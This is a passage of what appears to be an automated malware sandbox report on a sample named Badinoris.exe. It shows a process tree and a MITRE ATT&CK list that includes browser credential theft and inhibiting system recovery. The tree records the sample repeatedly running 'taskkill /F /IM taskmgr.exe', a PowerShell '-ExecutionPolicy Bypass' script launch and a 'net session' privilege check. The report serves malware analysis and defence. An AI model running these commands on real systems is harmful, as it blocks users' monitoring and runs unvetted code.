  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2384
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5444
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:1232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4728
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3484
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:468
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4144
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1100
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2900
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2020
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:4252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5476
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:5932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3720
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:6032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2944
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2936
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4544
- C:\Users\Admin\AppData\Local\Programs\Badinoris\Badinoris.exe
  "C:\Users\Admin\AppData\Local\Programs\Badinoris\Badinoris.exe" --type=gpu-process --field-trial-handle=1472,3782236000563117261,4860400025964402168,131072 --enable-features=WebComponentsV0Enabled --disable-features=CertVerifierService,CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1992 /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  PID:4600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4668
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:1240
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1728
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5244
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:1528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4752
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:3448
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5928
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:2116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5676
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:1232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4136
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4276
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1044
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:1816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5944
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:5956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2644
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:2564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:396
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2204
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:2856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5952
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5828
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:3620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5912
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:296
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4048

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5728

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:688

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1376

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\ck_1782608027831\d09k9p6et.ps1"
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:6032

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:6036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2864

C:\Users\Admin\AppData\Local\Programs\Badinoris\Badinoris.exe
C:\Users\Admin\AppData\Local\Programs\Badinoris\Badinoris.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1720
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  PID:5724
- - C:\Windows\System32\net.exe
    net session
    3⤵
    PID:2288
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1044

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv vVmZq2o4m0i0bcLS2ikJsw.0.2
1⤵
PID:4036

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

Clear Persistence

T1070.009

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...